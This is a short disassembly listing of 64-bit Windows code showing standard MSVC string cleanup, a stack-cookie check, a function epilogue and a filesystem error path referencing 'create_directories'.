call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm0, xmmword [0x140094720]
movdqu xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140005a53
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
xor eax, eax
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.14007b4d0
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011f0
nop
call fcn.140001150
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x80]
lea rcx, str.create_directories
call fcn.140004410
int3